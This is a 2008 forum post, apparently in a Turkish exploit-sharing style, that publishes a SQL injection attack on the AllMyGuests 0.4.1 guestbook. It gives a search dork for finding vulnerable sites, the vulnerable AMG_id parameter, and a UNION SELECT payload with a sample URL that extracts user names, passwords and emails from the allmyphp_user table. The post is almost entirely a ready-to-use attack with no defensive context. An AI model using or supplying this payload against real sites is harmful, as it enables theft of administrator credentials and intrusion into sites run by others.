AllMyGuests 0.4.1 SQL Injektion

tarafından ufukkucukcavus C.tesi Mayıs 03, 2008 4:33 pm

################################################## ######
#
# Script : AllMyGuests
#
# Site : -
#
# Dork : "powered by AllMyGuests"
#
# Valnu : index.php
#
# Parameter: AMG_id
#
# Injection: index.php?AMG_open=comments&AMG_id=null+UNION+SELE CT+1,2,3,concat_ws(0x203a20,user_name,user_passwor d,user_email),5,6,7+from+allmyphp_user+where+user_ id=1--
#
http://site.de/allmyguest/index.php?AMG_open=comments&AMG_id=null+UNION+SELECT+1,2,3,concat_ws(0x203a20,user_name,user_password,user_email),5,6,7+from+allmyphp_user+where+user_id=1--
################################################## ######